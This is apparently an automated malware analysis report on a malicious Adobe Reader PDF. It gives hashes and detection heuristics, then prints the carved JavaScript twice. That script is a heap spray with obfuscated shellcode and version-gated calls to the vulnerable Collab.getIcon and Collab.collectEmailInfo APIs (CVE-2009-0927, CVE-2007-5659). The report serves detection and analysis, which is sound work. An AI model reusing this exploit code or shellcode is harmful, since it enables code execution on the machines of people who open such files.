Malicious PDF — malware analysis report

Static analysis result for SHA-256 a7491cf28ac3bcbf…

MALICIOUS

PDF

569.3 KB Created: 2009-06-06 21:05:54 +08:00 Authoring application: Acrobat Distiller 7.0 (Windows) First seen: 2026-05-10
MD5: 1dc36fb661c65e34c39c7f6db184f54d SHA-1: 2cf3a1d376478aaf630eab49fb2942031da0e1e2 SHA-256: a7491cf28ac3bcbf408b572fba8a2c58ef98e784a2ae470b5b244e95fece9667
430 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The JavaScript stream is obfuscated, as suggested by the PDF_UNESCAPE firing and the 'Script obfuscation indicators' in the static triage. This obfuscation, combined with the presence of an embedded JavaScript file, strongly suggests that the script is designed to download and execute a second-stage payload. The specific intent of the script cannot be fully determined due to obfuscation, but the overall pattern is indicative of a downloader or droppper.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9996

Heuristics 10

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    function myunescape(buf) {
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In PDF document text
    • http://ns.adobe.com/iX/1.0/In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/pdfx/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0022_000.js pdf-javascript-stream PDF /JS object 22 at offset 0x8CE16 6046 bytes
SHA-256: 0aaad551850424ba802fd4bd6dbfdadf6e6d74091c1e34d81f286071bfeb4e44
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 22 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function none(a,b)
{
 a+b;
}
function dup(what,count){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
function myunescape(buf) {
          var ret='';
          for (var x=0;x < buf.length; x+=2) {
          ret += util.byteToChar(Number('0x'+buf.substr(x,2)));
          }
          return ret;
}
function repeat (count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
var mysc="%uYG5850%uYG5850%uYGEB90%uYG4022%uYG5F48%uYG5A57%uYG8B66%uYG800A%uYG30F9%uYG1A74%uYGE980%uYGC076%uYG04E1%uYGED80%uYG8076%uYG0FE5%uYGCD02%uYG0F88%uYG4242%uYGEB47%uYGE8E3%uYGFFD9%uYGFFFF%uYG7B7B%uYG817E%uYG8284%uYG797E%uYG7A82%uYG8282%uYG767C%uYG7979%uYG7883%uYG7881%uYG7679%uYG7A7C%uYG817E%uYG7876%uYG817E%uYG767A%uYG8276%uYG817E%uYG767D%uYG8277%uYG8380%uYG817E%uYG767A%uYG7E76%uYG7F7E%uYG7B7A%uYG8285%uYG797E%uYG7682%uYG8279%uYG817E%uYG7676%uYG7976%uYG7B7A%uYG8285%uYG797E%uYG7682%uYG7E7D%uYG817E%uYG7676%uYG7976%uYG7B7A%uYG8285%uYG817E%uYG767D%uYG7678%uYG7976%uYG7B7D%uYG8285%uYG7F84%uYG7882%uYG7676%uYG7676%uYG7676%uYG857E%uYG7B7A%uYG8283%uYG7D82%uYG7B7A%uYG7E85%uYG7676%uYG7676%uYG7676%uYG7676%uYG817E%uYG837D%uYG8283%uYG8285%uYG8184%uYG7E78%uYG7C7B%uYG7D7B%uYG767B%uYG7F81%uYG8585%uYG8585%uYG8585%uYG8585%uYG7879%uYG7682%uYG7885%uYG8480%uYG7D85%uYG7783%uYG7F7E%uYG837A%uYG7A85%uYG7E7B%uYG857B%uYG7E84%uYG7D82%uYG7676%uYG7676%uYG7676%uYG837E%uYG7B7D%uYG7683%uYG7976%uYG7B7D%uYG7E85%uYG7F7E%uYG7C77%uYG847B%uYG7976%uYG837D%uYG7A85%uYG797E%uYG7B7A%uYG7E85%uYG7A76%uYG767E%uYG8579%uYG7676%uYG7B7D%uYG7983%uYG807C%uYG7A76%uYG7E7C%uYG7676%uYG7677%uYG7676%uYG7676%uYG7E7C%uYG7676%uYG7676%uYG7677%uYG7676%uYG807C%uYG7676%uYG8585%uYG7B7B%uYG7E83%uYG7F7E%uYG7B7A%uYG8284%uYG7D82%uYG7B7A%uYG7685%uYG7676%uYG7676%uYG7676%uYG7676%uYG797E%uYG7B7A%uYG7685%uYG7A76%uYG807C%uYG7676%uYG807C%uYG7676%uYG807C%uYG7676%uYG8585%uYG7B7D%uYG7685%uYG8585%uYG7B7B%uYG7A83%uYG8176%uYG7682%uYG7B7D%uYG7A7A%uYG807C%uYG7676%uYG807C%uYG7676%uYG837E%uYG837D%uYG8282%uYG7D7B%uYG7E7C%uYG7676%uYG7676%uYG7677%uYG7676%uYG8585%uYG7B7D%uYG8284%uYG8585%uYG7B7D%uYG7685%uYG8585%uYG7B7B%uYG7683%uYG8176%uYG7682%uYG7A7D%uYG7C78%uYG817E%uYG7B7D%uYG8284%uYG777E%uYG8479%uYG7B78%uYG767B%uYG7A7A%uYG7C7A%uYG7B7D%uYG7D82%uYG7F81%uYG7676%uYG8076%uYG7676%uYG7676%uYG777A%uYG817E%uYG7B7A%uYG8282%uYG797E%uYG7E84%uYG7E76%uYG8179%uYG7E82%uYG857D%uYG7D81%uYG777E%uYG8279%uYG7779%uYG7985%uYG8385%uYG8485%uYG7D85%uYG7B7D%uYG8284%uYG8184%uYG7C76%uYG8184%uYG8080%uYG8184%uYG7876%uYG8184%uYG7C80%uYG797E%uYG7782%uYG7A76%uYG817E%uYG7B7B%uYG8284%uYG817E%uYG837B%uYG7685%uYG817E%uYG7A76%uYG7777%uYG7976%uYG7882%uYG8585%uYG7684%uYG7E84%uYG7F79%uYG8585%uYG8585%uYG8585%uYG787B%uYG7B7C%uYG777C%uYG7A7C%uYG7C7A%uYG7F7C%uYG827C%uYG7B7C%uYG7676%uYG797B%uYG7B7C%uYG7A7D%uYG7C7A%uYG7F7C%uYG827C%uYG7B7C%uYG767B%uYG857C%uYG7F7C%uYG847C%uYG7A7D%uYG7B7C%uYG787D%uYG7676%uYG7C7B%uYG7F7C%uYG787D%uYG7A7D%uYG7B7D%uYG777C%uYG827C%uYG777A%uYG827C%uYG827C%uYG857C%uYG797C%uYG7676%uYG7676%uYG8184%uYG797A%uYG817E%uYG767B%uYG7E77%uYG7D7B%uYG777B%uYG787B%uYG7C7B%uYG817E%uYG7C79%uYG7976%uYG7B7D%uYG8285%uYG8285%uYG7985%uYG7C80%uYG847B%uYG807B%uYG7F7B%uYG857B%uYG7A7D%uYG7C76%uYG797E%uYG7C82%uYG7A76%uYG807A%uYG7B7D%uYG7E84%uYG817E%uYG7E7A%uYG7E77%uYG8178%uYG8082%uYG7783%uYG7784%uYG817E%uYG767B%uYG7A78%uYG7976%uYG7B7B%uYG8285%uYG7976%uYG7783%uYG7979%uYG7F82%uYG7C7C%uYG817E%uYG8076%uYG7783%uYG7784%uYG7783%uYG7784%uYG817E%uYG767B%uYG8277%uYG7976%uYG7B7B%uYG8285%uYG7976%uYG7783%uYG817E%uYG7877%uYG7976%uYG7B7B%uYG8285%uYG817B%uYG8585%uYG7984%uYG777C%uYG7F82%uYG7982%uYG3030%uYG6260%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664";
var sc=unescape(mysc.replace(/YG/g,""));
function main() {
blah = dup(unescape("%u4647%u4a4b%u4849%u4647%u4849"),128) + sc;
bigblock = unescape("%u4a4b%u4647");
hs = 20;
wap = hs+blah.length;
while (bigblock.length<wap) bigblock+=bigblock;
fb = bigblock.substring(0, wap);
block = bigblock.substring(0, bigblock.length-wap);
while(block.length+wap<0x40000) block = block+block+fb;
mm = new Array();
for (i=0;i<200;i++) mm[i] = block + blah;
of = dup(myunescape("0a0a0a0a"),4096);
var a=["\x5f\x4e\x2e\x62\x75\x6e\x64\x6c\x65"];//javascript comment
var mystr="YG\x67YG\x65YG\x74YG\x49YG\x63YG\x6fYG\x6e"
var mystr2=unescape(mystr.replace(/YG/g,""));
    Collab[mystr2](of+a[0x0]);
}
var tmp=unescape("%uf6eb%uf4eb");
var vernum=app.viewerVersion;
function start() 
{
if (vernum >= 7.0)
{
var mystr="%uYG4346%uYG4a4b";
var mystr2=unescape(mystr.replace(/YG/g,""));
plin = dup(unescape("%u0b0b%u0028%u06eb%u06eb"),1124) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape(mystr2) + dup(unescape("%u0b0b%u0028%u06eb%u06eb"),122) + sc  + dup(unescape("%u4a4b%u4748"),1256);
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = dup(unescape("%u4141%u4141"),80) + sc  + dup(unescape("%u4241%u4142"),80)+ unescape("%uf7e9%ufff9")

+unescape("%uffff%uffff") + tmp + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;
plin += repeat(2626,ef6);
}
if(vernum>=6.0)
{
 var para=[];
 var mystr="YG\x63YG\x6fYG\x6cYG\x6cYG\x65YG\x63YG\x74YG\x45YG\x6dYG\x61YG\x69YG\x6cYG\x49YG\x6eYG\x66YG\x6f";
 var mystr2=unescape(mystr.replace(/YG/g,""));
 Collab[mystr2]({subj:para[0x0],msg:plin});
}
}
var inBrowser = this.external;
if(vernum <8.0)
{
	var shaft = app["\x73\x65\x74\x54\x69\x6D\x65\x4F\x75\x74"]("start()",1200);
}else{
if (inBrowser)
    var shaft = app["\x73\x65\x74\x54\x69\x6D\x65\x4F\x75\x74"]("main()",1200);
else
    main();
}
javascript_obj0022_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 22 at offset 0x8CE16 904 bytes
SHA-256: 35e964374523887f823639dab2bf763d28e586c226ef40ef8885f6f12795ef68
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis decoded payload bytes; decoded SHA-256: b0b12df1903bdc7c7a44a1012b0f2b096e9aaed3a06374df86d63fe82b49e047 Static shellcode analysis recovered API/import strings: VirtualAlloc 9 of 9 identifiers look randomly generated (e.g. 'bdfhjlnbdfhjlnbdfhjlnbdfhjlnbdfhjlnbdfhj') — consistent with name-mangling obfuscation. Carved artifact contains 1 long base64-like blob(s).
javascript_obj0022_000_shellcode_01.bin pdf-js-shellcode pdf-js-unescape-shellcode-x86-sub76-nibble-pair-decoded recovered from PDF /JS object 22 at offset 0x8CE16 429 bytes
SHA-256: b0b12df1903bdc7c7a44a1012b0f2b096e9aaed3a06374df86d63fe82b49e047
js_property_alias_stage_000.js deobfuscated-js JavaScript property alias normalized stage at offset 0x8CE16 6033 bytes
SHA-256: f345f8dab782bb7ee50c4c19d437f9a5550868b33088d7164549b55ee6bdc1f8
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 24 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
function none(a,b)
{
 a+b;
}
function dup(what,count){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
function myunescape(buf) {
          var ret='';
          for (var x=0;x < buf.length; x+=2) {
          ret += util.byteToChar(Number('0x'+buf.substr(x,2)));
          }
          return ret;
}
function repeat (count,what){
          var v = "";
          while (--count >= 0) v += what;
          return v;
}
var mysc="%uYG5850%uYG5850%uYGEB90%uYG4022%uYG5F48%uYG5A57%uYG8B66%uYG800A%uYG30F9%uYG1A74%uYGE980%uYGC076%uYG04E1%uYGED80%uYG8076%uYG0FE5%uYGCD02%uYG0F88%uYG4242%uYGEB47%uYGE8E3%uYGFFD9%uYGFFFF%uYG7B7B%uYG817E%uYG8284%uYG797E%uYG7A82%uYG8282%uYG767C%uYG7979%uYG7883%uYG7881%uYG7679%uYG7A7C%uYG817E%uYG7876%uYG817E%uYG767A%uYG8276%uYG817E%uYG767D%uYG8277%uYG8380%uYG817E%uYG767A%uYG7E76%uYG7F7E%uYG7B7A%uYG8285%uYG797E%uYG7682%uYG8279%uYG817E%uYG7676%uYG7976%uYG7B7A%uYG8285%uYG797E%uYG7682%uYG7E7D%uYG817E%uYG7676%uYG7976%uYG7B7A%uYG8285%uYG817E%uYG767D%uYG7678%uYG7976%uYG7B7D%uYG8285%uYG7F84%uYG7882%uYG7676%uYG7676%uYG7676%uYG857E%uYG7B7A%uYG8283%uYG7D82%uYG7B7A%uYG7E85%uYG7676%uYG7676%uYG7676%uYG7676%uYG817E%uYG837D%uYG8283%uYG8285%uYG8184%uYG7E78%uYG7C7B%uYG7D7B%uYG767B%uYG7F81%uYG8585%uYG8585%uYG8585%uYG8585%uYG7879%uYG7682%uYG7885%uYG8480%uYG7D85%uYG7783%uYG7F7E%uYG837A%uYG7A85%uYG7E7B%uYG857B%uYG7E84%uYG7D82%uYG7676%uYG7676%uYG7676%uYG837E%uYG7B7D%uYG7683%uYG7976%uYG7B7D%uYG7E85%uYG7F7E%uYG7C77%uYG847B%uYG7976%uYG837D%uYG7A85%uYG797E%uYG7B7A%uYG7E85%uYG7A76%uYG767E%uYG8579%uYG7676%uYG7B7D%uYG7983%uYG807C%uYG7A76%uYG7E7C%uYG7676%uYG7677%uYG7676%uYG7676%uYG7E7C%uYG7676%uYG7676%uYG7677%uYG7676%uYG807C%uYG7676%uYG8585%uYG7B7B%uYG7E83%uYG7F7E%uYG7B7A%uYG8284%uYG7D82%uYG7B7A%uYG7685%uYG7676%uYG7676%uYG7676%uYG7676%uYG797E%uYG7B7A%uYG7685%uYG7A76%uYG807C%uYG7676%uYG807C%uYG7676%uYG807C%uYG7676%uYG8585%uYG7B7D%uYG7685%uYG8585%uYG7B7B%uYG7A83%uYG8176%uYG7682%uYG7B7D%uYG7A7A%uYG807C%uYG7676%uYG807C%uYG7676%uYG837E%uYG837D%uYG8282%uYG7D7B%uYG7E7C%uYG7676%uYG7676%uYG7677%uYG7676%uYG8585%uYG7B7D%uYG8284%uYG8585%uYG7B7D%uYG7685%uYG8585%uYG7B7B%uYG7683%uYG8176%uYG7682%uYG7A7D%uYG7C78%uYG817E%uYG7B7D%uYG8284%uYG777E%uYG8479%uYG7B78%uYG767B%uYG7A7A%uYG7C7A%uYG7B7D%uYG7D82%uYG7F81%uYG7676%uYG8076%uYG7676%uYG7676%uYG777A%uYG817E%uYG7B7A%uYG8282%uYG797E%uYG7E84%uYG7E76%uYG8179%uYG7E82%uYG857D%uYG7D81%uYG777E%uYG8279%uYG7779%uYG7985%uYG8385%uYG8485%uYG7D85%uYG7B7D%uYG8284%uYG8184%uYG7C76%uYG8184%uYG8080%uYG8184%uYG7876%uYG8184%uYG7C80%uYG797E%uYG7782%uYG7A76%uYG817E%uYG7B7B%uYG8284%uYG817E%uYG837B%uYG7685%uYG817E%uYG7A76%uYG7777%uYG7976%uYG7882%uYG8585%uYG7684%uYG7E84%uYG7F79%uYG8585%uYG8585%uYG8585%uYG787B%uYG7B7C%uYG777C%uYG7A7C%uYG7C7A%uYG7F7C%uYG827C%uYG7B7C%uYG7676%uYG797B%uYG7B7C%uYG7A7D%uYG7C7A%uYG7F7C%uYG827C%uYG7B7C%uYG767B%uYG857C%uYG7F7C%uYG847C%uYG7A7D%uYG7B7C%uYG787D%uYG7676%uYG7C7B%uYG7F7C%uYG787D%uYG7A7D%uYG7B7D%uYG777C%uYG827C%uYG777A%uYG827C%uYG827C%uYG857C%uYG797C%uYG7676%uYG7676%uYG8184%uYG797A%uYG817E%uYG767B%uYG7E77%uYG7D7B%uYG777B%uYG787B%uYG7C7B%uYG817E%uYG7C79%uYG7976%uYG7B7D%uYG8285%uYG8285%uYG7985%uYG7C80%uYG847B%uYG807B%uYG7F7B%uYG857B%uYG7A7D%uYG7C76%uYG797E%uYG7C82%uYG7A76%uYG807A%uYG7B7D%uYG7E84%uYG817E%uYG7E7A%uYG7E77%uYG8178%uYG8082%uYG7783%uYG7784%uYG817E%uYG767B%uYG7A78%uYG7976%uYG7B7B%uYG8285%uYG7976%uYG7783%uYG7979%uYG7F82%uYG7C7C%uYG817E%uYG8076%uYG7783%uYG7784%uYG7783%uYG7784%uYG817E%uYG767B%uYG8277%uYG7976%uYG7B7B%uYG8285%uYG7976%uYG7783%uYG817E%uYG7877%uYG7976%uYG7B7B%uYG8285%uYG817B%uYG8585%uYG7984%uYG777C%uYG7F82%uYG7982%uYG3030%uYG6260%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664%uYG6A68%uYG6E6C%uYG6462%uYG6866%uYG6C6A%uYG626E%uYG6664";
var sc=unescape(mysc.replace(/YG/g,""));
function main() {
blah = dup(unescape("%u4647%u4a4b%u4849%u4647%u4849"),128) + sc;
bigblock = unescape("%u4a4b%u4647");
hs = 20;
wap = hs+blah.length;
while (bigblock.length<wap) bigblock+=bigblock;
fb = bigblock.substring(0, wap);
block = bigblock.substring(0, bigblock.length-wap);
while(block.length+wap<0x40000) block = block+block+fb;
mm = new Array();
for (i=0;i<200;i++) mm[i] = block + blah;
of = dup(myunescape("0a0a0a0a"),4096);
var a=["_N.bundle"];//javascript comment
var mystr="YGgYGeYGtYGIYGcYGoYGn"
var mystr2=unescape(mystr.replace(/YG/g,""));
    Collab.collectEmailInfo(of+a[0x0]);
}
var tmp=unescape("%uf6eb%uf4eb");
var vernum=app.viewerVersion;
function start() 
{
if (vernum >= 7.0)
{
var mystr="%uYG4346%uYG4a4b";
var mystr2=unescape(mystr.replace(/YG/g,""));
plin = dup(unescape("%u0b0b%u0028%u06eb%u06eb"),1124) + unescape("%u0b0b%u0028%u0aeb%u0aeb") + unescape(mystr2) + dup(unescape("%u0b0b%u0028%u06eb%u06eb"),122) + sc  + dup(unescape("%u4a4b%u4748"),1256);
} 
else 
{
ef6 =  unescape("%uf6eb%uf6eb") + unescape("%u0b0b%u0019");
plin = dup(unescape("%u4141%u4141"),80) + sc  + dup(unescape("%u4241%u4142"),80)+ unescape("%uf7e9%ufff9")

+unescape("%uffff%uffff") + tmp + unescape("%uf2eb%uf1eb");
while ((plin.length % 8) != 0) 
plin = unescape("%u4141") + plin;
plin += repeat(2626,ef6);
}
if(vernum>=6.0)
{
 var para=[];
 var mystr="YGcYGoYGlYGlYGeYGcYGtYGEYGmYGaYGiYGlYGIYGnYGfYGo";
 var mystr2=unescape(mystr.replace(/YG/g,""));
 Collab.collectEmailInfo({subj:para[0x0],msg:plin});
}
}
var inBrowser = this.external;
if(vernum <8.0)
{
	var shaft = app["setTimeOut"]("start()",1200);
}else{
if (inBrowser)
    var shaft = app["setTimeOut"]("main()",1200);
else
    main();
}
/* static-property-alias-sinks */
unescape('%u9090%u9090');Collab.getIcon(
unescape('%u9090%u9090');Collab.collectEmailInfo(

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